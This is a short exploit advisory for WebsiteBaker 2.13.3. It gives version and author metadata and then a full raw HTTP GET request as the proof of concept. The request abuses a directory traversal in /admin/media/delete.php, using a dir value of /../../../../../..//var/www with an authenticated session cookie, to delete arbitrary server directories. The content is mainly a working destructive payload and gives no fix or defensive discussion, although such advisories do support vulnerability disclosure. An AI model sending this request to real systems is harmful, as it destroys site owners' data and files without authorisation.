WebsiteBaker v2.13.3 - Directory Traversal

Exploit Title: WebsiteBaker v2.13.3 - Directory Traversal
Application: WebsiteBaker
Version: 2.13.3
Bugs:  Directory Traversal
Technology: PHP
Vendor URL: https://websitebaker.org/pages/en/home.php
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
Date of found: 26.06.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
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arbitary directory deleting

GET /admin/media/delete.php?dir=/../../../../../..//var/www&id=a838b6ebe8ba43a0 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/admin/media/browse.php?dir=/../../../../../..//var/www
Cookie: PHPSESSID-WB-6e6c39=bvnampsc5ji2drm439ph49143c; klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin